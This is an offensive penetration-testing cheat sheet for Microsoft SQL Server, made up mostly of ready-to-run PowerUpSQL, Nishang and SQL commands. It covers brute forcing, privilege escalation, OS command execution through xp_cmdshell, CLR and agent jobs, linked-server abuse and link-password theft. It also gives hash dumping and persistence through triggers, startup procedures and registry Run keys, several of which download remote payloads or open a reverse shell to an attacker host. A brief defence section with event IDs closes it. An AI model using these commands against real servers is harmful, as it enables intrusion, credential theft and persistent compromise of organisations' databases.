MSSQL

Tools

PowerUpSQL: https://github.com/NetSPI/PowerUpSQL

HeidiSQL: https://www.heidisql.com/

Gaining Access

Finding SQL Servers

PowerUpSQL

# UDP Scanning
Get-SQLInstanceScanUDP

# Local Instance
Get-SQLInstanceLocal

# Discovery (SPN Scanning): 
Get-SQLInstanceDomain

# Check Accessibility: 
Get-SQLConnectionTestThreaded

# Get available servers and test if current user can connect:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose 

# Gather Information: 
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Brute Forcing

Nishang

$comp = (GetSQLInstanceDomain).computername
$comps | Invoke-BruteForce -UserList C:\dict\users.txt -PasswordList C:\dict\passwords.txt -Service SQL –Verbose 

PowerUpSQL

# Password Spray
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded Username sa -Password Password -Verbose

# Using public role to fuzz logins, can then feed those to brute force
Get-SQLFuzzServerLogin -Instance ops-mssql –Verbose 

Enumeration

Users / Roles

SQL

# Current User
SELECT SUSER_SNAME(); 
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

# Current Role
SELECT user;

# Show all logins on a server
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'; 

# Show all database users for a database
SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE';

# List all sysadmins
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1;

# List all database roles
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM  RIGHT OUTER JOIN sys.database_principals AS DP1  ON DRM.role_principal_id = DP1.principal_id  LEFT OUTER JOIN sys.database_principals AS DP2  ON DRM.member_principal_id = DP2.principal_id  WHERE DP1.type = 'R' ORDER BY DP1.name;

# Effective permissions for the server
SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 

# Effective permissions for the database
SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); 
 
# Active user token
SELECT * FROM sys.user_token; 

Active login token
SELECT * FROM sys.login_token;

Databases

SQL

# Version
SELECT @@version;

# Current Database
SELECT db_name();

# List all databases
SELECT name FROM master..sysdatabases;

Tables

SQL

# List tables of a database
SELECT name FROM <dbname>..sysobjects WHERE xtype = 'U';SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='<dbname>';

# Alternative to list tables
SELECT name FROM <dbname>..sysobjects WHERE xtype = ‘U’;

# Use DB
Use <dbname>;

# List table contents
Select * from <tablename>;

Sensitive Data

PowerUpSQL

# Look for interesting DB on name 
Get-SQLDatabaseThreaded -Threads 10 -Username sa Password Pass@123 -Instance ops-sqlsrvprod -verbose | select -ExpandProperty DatabaseName

# Look for interesting DB that are encrypted (decrypted automatically for sa)
Get-SQLDatabaseThreaded -Threads 10 -Username sa Password Pass@123 -Instance ops-sqlsrvprod | WhereObject {$_.is_encrypted -eq “True"}

# Locating interesting data
Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password Pass@123 -Instance ops-sqlsrvprod -Verbose

Privilege Escalation

Impersonation

SQL

# Find roles that you can impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

# Impersonate a user
EXECUTE AS LOGIN = 'dbadmin'

 # Check privs of user 
SELECT SYSTEM_USER 
SELECT IS_SRVROLEMEMBER('sysadmin')

 # Revert 
SELECT ORIGINAL_LOGIN()

PowerUpSQL

# Find users you can impersonate
Invoke-SQLAuditPrivImpersonateLogin -Username sqluser Password Sql@123 -Instance ops-mssql -Verbose

# Exploit
Invoke-SQLAuditPrivImpersonateLogin -Instance ops-sqlsrvone.offensiveps.com –Exploit -Verbose

Trustworthy Database

SQL

# Find trustworthy databases
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;

# Look for db_owner role within a database
USE <database>;
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM  RIGHT OUTER JOIN sys.database_principals AS DP1  ON DRM.role_principal_id = DP1.principal_id  LEFT OUTER JOIN sys.database_principals AS DP2  ON DRM.member_principal_id = DP2.principal_id  WHERE DP1.type = 'R' ORDER BY DP1.name;

# Impersonate DB_owner
EXECUTE AS USER = 'dbo'; 
SELECT system_user;

# Abuse privs of trustworthy db to add our user as a sysadmin
EXEC sp_addsrvrolemember 'opsdc\labuser','sysadmin';

PowerUpSQL

# Find trustworthy database
Invoke-SQLAuditPrivTrustworthy -Instance ops-sqlsrvone Verbose

UNC Path Injection

PowerUpSQL

# Automate this with Inveigh as a capture server
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2 

Juicy-Potato

# Listener
powercat -l -v -p 443

# Get command execution
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "EXEC master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"

# Grab Juicy potato
wget http://192.168.50.51/juicy-potato-master/JuicyPotato/JuicyPotato.exe -UseBasicParsing -Outfile juicypotato.exe

# own
./juicypotato.exe -t * -p c:\Windows\System32\cmd.exe -a "/c net localgroup Administrators DOMAIN\USER /add" -l 8000

Command Execution

Xp_cmdshell

SQL

# Install xp_cmdshell
sp_addextendedproc 'xp_cmdshell','xplog70.dll' 

# Enable xp_cmdshell
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 
RECONFIGURE

# Use xp_cmdshell
EXEC master..xp_cmdshell 'whoami'

PowerUpSQL

Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-mssql.offensiveps.com –Command whoami

Extended Stored Procedures

PowerUpSQL

# Create the DLL to add to the SQL db
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

# Register the dll from our system
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"

# Execute the stored procedure
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "EXEC xp_calc"

# List extended stored procedures
Get-SQLStoredProcedureXP -Instance ops-sqlsrvone -Verbose

SQL

# Register the stored procedure (dll name and function name must match exactly)
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'

# Execute the stored procedure
EXEC xp_calc

# Drop the stored procedure
sp_dropextendedproc 'xp_calc'

# Code sample for dll:
https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp

CLR Assemblies

Blog: https://blog.netspi.com/attacking-sql-server-clr-assemblies/

PowerUpSQL

# Enable CLR using manual SQL
use msdb 
GO  
sp_configure 'show advanced options',1 
RECONFIGURE 
GO  
sp_configure 'clr enabled',1 
RECONFIGURE 
GO

# Create the DLL for CLR
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop

# Execute commands through CLR
Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "whoami" -Verbose

# List all DLLs added through CLR
Get-SQLStoredProcedureCLR -Instance ops-sqlsrvone Verbose

SQL

# Enable CLR using manual SQL
use msdb 
GO  
sp_configure 'show advanced options',1 
RECONFIGURE 
GO  
sp_configure 'clr enabled',1 
RECONFIGURE 
GO

# Create the DLL for CLR
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop

# Import the assembly file
CREATE ASSEMBLY my_assembly 
FROM '\\192.168.15.2\fileserver\cmd_exec.dll' 
WITH PERMISSION_SET = UNSAFE; 
GO 

# Import the assembly as a hexadecimal string of a CLR DLL
CREATE ASSEMBLY [NMfsa] AUTHORIZATION [dbo] FROM 0x4D5A90……

# Link the assembly to a stored procedure 
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; 
GO

# Execute commands
cmd_exec 'whoami' 

# Cleanup
DROP PROCEDURE cmd_exec 
DROP ASSEMBLY my_assembly

OLE Automation Procedures

PowerUpSQL

# Automated enabling, executing and reading 
Invoke-SQLOSCmdCLR -Username sa -Password Password1 Instance ops-sqlsrvone –Command "whoami" –Verbose

SQL

# Enable OLE automation procedures
sp_configure 'show advanced options', 1;  
GO  
RECONFIGURE;  
GO  
sp_configure 'Ole Automation Procedures', 1; 
GO  
RECONFIGURE;  
GO

# Execute Command 
DECLARE @output INT 
DECLARE @ProgramToRun VARCHAR(255) 
SET @ProgramToRun = 'Run("calc.exe")' 
EXEC sp_oacreate 'wScript.Shell', @output out 
EXEC sp_oamethod @output, @ProgramToRun 
EXEC sp_oadestroy @output 

# Output has to be written to a file then read

Agent Jobs

PowerUpSQL

# List all jobs
Get-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password Pass@123 -Verbose

# Execute commands 
Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "powershell –e <base64encodedscript>" -Verbose 
–Subsystem CmdExec 
–Subsystem VBScript 
–Subsystem Jscript  

SQL

# List all jobs
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id

# Powershell Agent
USE msdb;
EXEC dbo.sp_add_job @job_name = N'PSJob';
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
## Cleanup
EXEC dbo.sp_delete_job @job_name = N'PSJob'

# CMD agent
USE msdb;
EXEC dbo.sp_add_job @job_name = N'cmdjob';
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob';
EXEC dbo.sp_start_job N'cmdjob';
## Cleanup
EXEC dbo.sp_delete_job @job_name = N'cmdJob'

External Scripts

PowerUpSQL

# Execute R
Invoke-SQLOSCmdR -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" –Verbose

# Execute python
Invoke-SQLOSCmdPython -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" -Verbose

SQL

# Enable external scripts
sp_configure 'external scripts enabled' 
GO 

# Execute R script
EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text));
GO

# Grab NTLM hash with R
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0 mgh4x")' 

# Use Shell instead of system
@script=N'OutputDataSet <data.frame(shell("dir",intern=T))'

# Execute Python
EXEC sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max)))

Database Link Abuse

Enumerating Database Links

PowerUpSQL

# Look for links to remote servers
Get-SQLServerLink -Instance INSTANCE -Verbose

# Enumerating nested database links 
Get-SQLServerLinkCrawl -Instance INSTANCE -Verbose

Manual SQL

# Look for first link
select * from master..sysservers

# look for second link
select * from openquery("<linked-db>",'select * from master..sysservers')

# Enumerating nested database links 
select * from openquery("INSTANCE1",'select * from openquery("INSTANCE2",''select * from master..sysservers'')')

Enabling xp_cmdshell if rpcout is enabled (disabled by default)

SQL

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"

Executing Commands

PowerUpSQL

# Executes command over link
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"

# shell
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"

SQL

# Execute calc (note that ' double every link) (not - use full fqdn)
select * from openquery("ops-mssql",'select * from openquery("ops-file",''select * from openquery("dpssqlsrvtwo",''''select @@version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')

# Enumerate Info
select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''select * from master..sysservers;'''')'')')

# Use database over links
select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''EXEC (''''''''USE msdb; SELECT db_name()'''''''')'''')'')')

Stealing Link Account

When the link is setup, its set with an account. This could be SA or it could be a user account. You can find out what that account is by enumerating the link. Whatever account the command is running as on the link, is the account used to set it up.

Compromise DB-Server1, its linked to DB-Server2 with the SA of DB-Server2. Can use powershell to get the cleartext cred of SA for DB-Server2. Can then use HeidiSQL or similar to log into the DB-Server2 as SA, can then install cmd execution without dealing with RPCOUT (which prevents this occuring over the link).

Powershell-Modules/Get-MSSQLLinkPasswords.psm1 at master · NetSPI/Powershell-ModulesGitHub

Import-module .\Get-MSSQLLinkPasswords.psm1
Get-MSSQLLinkPasswords

Persistance

Startup Stored procedures

SQL

# Enable xp_cmdshell (shown above)

# Go into master db
USE master 
GO

# Create stored procedure
CREATE PROCEDURE sp_autops 
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/ payload.ps1'')"'
GO

# Mark the stored procedure for automatic execution when SQL server restarts
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';

# List stored procedures marked for automatic execution
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

Triggers

SQL

# List all triggers
SELECT * FROM sys.server_triggers

# List all triggers for a DB
USE testdb
SELECT * FROM sys.server_triggers

# DDL trigger (executes on create,alter and drop statements and some sp)
CREATE Trigger [persistence_ddl_1] 
ON ALL <SERVER/DATABASE> 
FOR DDL_LOGIN_EVENTS 
AS 
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"' 
GO

# DML trigger (executes on insert, update and delete statements)
USE master 
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1] 
ON testdb.dbo.datatable FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa' 
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"' 
GO

# Logon triggers (executes on a user login)
CREATE Trigger [persistence_logon_1] 
ON ALL SERVER WITH EXECUTE AS 'sa' 
FOR LOGON 
AS 
BEGIN 
IF ORIGINAL_LOGIN() = 'testuser' 
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"' 
END;

Registry

PowerUpSQL

# Use xp_regwrite to execute a shell 
Get-SQLPersistRegDebugger -Instance ops-sqlsrvone -username sa -Password Password1 -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose

# Use xp_regwrite to persist
Get-SQLPersistRegRun -Instance ops-sqlsrvone -username sa -Password Password1 -Name SQLUpdate -Command 'powershell –w 1 – NoP –NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose

# Use xp_regread as sysadmin to read autologon passwords from registry
Get-SQLRecoverPwAutoLogon -Instance ops-sqlsrvone -username sa -Password Password1 -Verbose

SQL

# Using xp_regwrite
EXEC xp_regwrite 
@rootkey = 'HKEY_LOCAL_MACHINE', 
@key = 'Software\Microsoft\Windows\CurrentVersion\Run', 
@value_name = 'SQLServerUpdate', 
@type = 'REG_SZ', 
@value = 'powershell –w 1 –NoP –NoL iex(NewObject Net.WebClient).DownloadString("http://webserver/evil.ps1 ")';

# Using xp_regread
DECLARE @Reg_Value VARCHAR(1000)
EXECUTE xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion', ‘ProductName', @Reg_Value OUTPUT
SELECT @Reg_Value;

Dumping Hashes

PowerUpSQL

Get-SQLServerPasswordHash -instance INSTANCE -Verbose

Defence

Good Practice

• Audit SQL Servers to check the flow of links, trusts, privileges and credentials.

• Ensure that Service Accounts for databases are not high privilege domain account.

• Make sure that known dangerous Stored Procedures are disabled.

• Use SQL Server Audit to log interesting server level and database level events.

• Log and Audit.

• Monitor the logs.

General Logs

• SQL Server Error Log is the place to look for interesting SQL Server logs. By default, the error log is located at %ProgramFiles%\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG

• Logs can be viewed in Management Studio by browsing to Management -> SQL Server Logs

• Logs are also written to Windows Application logs with MSSQLSERVER as source.

Brute Force Logs

• General best practices like having a good password policy and not using same username across databases.

• SQL server Logon failures are logged by default in the Windows application log with source MSSQLSERVER.

• Look for Event ID 18456. The log message also details the type of brute force - "Password did not match for the login provided" vs "Could not find a login matching the name provided."

Other Event IDs

• Event ID 5084 also reports for setting TRUSTWORTHY to on/off.

• Event ID 17135 logs launch of startup stored procedures.

• Event ID 33090 for successful and 17750 for failed loading of DLLs.

• Recall that all command execution techniques we used needed the use of sp_configure.

• Using sp_configure leaves Event ID 15457 in the Windows Application log with the configuration changed (argument passed to sp_configure).

• This can be used as a very good indicator of command execution.

• Make sure that an alert is generated only on the argument of sp_configure to avoid false positives.